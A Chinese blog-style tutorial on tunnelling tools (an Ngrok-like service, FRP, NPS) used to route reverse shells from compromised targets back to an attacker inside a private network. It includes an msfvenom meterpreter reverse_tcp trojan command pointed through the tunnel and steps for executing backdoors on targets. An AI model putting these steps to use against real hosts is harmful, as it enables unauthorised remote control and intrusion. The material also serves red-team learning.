攻击主机在内网,控制其他网段内网的主机,理论上是不可行的(攻击机和目标机都在内网 连接就是从内网到内网)
绕过内网协议实现上线(穿透),按照我的理解就是穿透技术解决的问题就是解决内网到内网、外网到内网的通信问题
接下来我们以Nrgwork、Frp、Nps三款常见的内网穿透工具为例子来进行说明
Nrgwork
这是一款商业的内网穿透工具,但是也有免费的产品供给我们使用
原理
寻找一个外网的跳板机,先通过一个手段时内网的主机和跳板机先进行连接,连接好之后就相当于建立了一个通道。然后使用外部的目标主机去连接我们与内网建立好的通道的内网主机,这样我们就做到了目标主机通过隧道主动连接到了我们的内网主机,一方面解决了外网主机到内网主机的一个连接,另外一方面也做到了出网减少防火墙阻挡的情况
操作步骤如下
选择产品,并配置我们的ip端口信息
下载客户端到内网主机上面
执行语句建立隧道
建立好隧道后,我们可以在本地内网的攻击主机下载好客户端后输入网站配置好的id就可以建立好连接
使用./sunny clientid 网站分配的ID号
这就表名我们内网的主机已经和和Nrgok已经建立了连接
我们使用msf生成一个http反向连接的后门程序
生成一个连接跳板主机的木马,跳板机的地方收到了来自于目标主机的上线流量之后就可以将上线的流量转发到我们的内网攻击主机上面,从而实现上线
Frp
frp是一个专注于内网穿透的高性能反向代理工具,支持udp tcp https http等多种协议可以将内网访问以安全便捷的方式通过具有ip节点的中转暴露到公网中
配置服务端
进行配置 服务器修改配置文件frps.ini
bind_port=7000
启动服务端
./frps -c ./frps.ini
客户端修改配置
通过上面两步的操作就顺利建立了客户端和服务器端的连接隧道
在远程主机访问本地的6000端口的流量就会转发到主机的6688端口
生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxxx.xxxx.xxx LPORT=6000 -f exe > frp.exe
最后执行木马实现上线
Nps
nps是一款轻量级高性能功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,
可支持任何tcp和udp的上层协议(访问内网网站 本地接口调试 ssh访问 远程桌面 内网dns解析等等)
此外还有http代理服务 内网sockets5服务 p2p等等
配置文件
如果有端口占用请修改配置文件,一般情况下直接使用默认配置即可
启动服务
nps.exe install
nps.exe start
访问8080端口
环境搭建成功
新建一个客户端,直接设置一个项目名称就行
在服务端建立连接记录这个秘钥
在客户端执行连接命令
内网主机和nps服务器通过秘钥和客户端进行连接
生成NPS服务端的通信端口的后门(工具收到流量后会将流量转发到我们的内网控制主机)
监听本地的5555端口,在目标主机上执行后门就可以上线
最终外网主机通过NPS隧道反向上线了我们的内网主机
总结
这三款工具Nrgwork是一款商业产品,免费版本的带宽和稳定性包括我们的数据流量的安全性都得不到保障,但是较为直观可以了解内网穿透的原理,不推荐使用。第二款是较为有名的工具(hw面试中也可能会被问到),但是配置是文件的形式,不太直观,但是通信方面较好。第三款工具,有图形化的界面操作,步骤较为直观,支持协议较多,推荐使用
写在最后
在做内网穿透实验的时候会遇到很多问题,例如工具版本是否匹配,不同的操作系统会使用不同的版本的工具识别。其次设置好防火墙的规则很重要。最后也是我踩到的最大的坑就是在使用云服务器例如阿里云 腾讯云等等主机的时候要关注平台的防火墙策略,因为忽略了这个,我查错了了一天,愿各位可以避免这个问题,少走弯路。
如有错误,请及时指出,谢谢。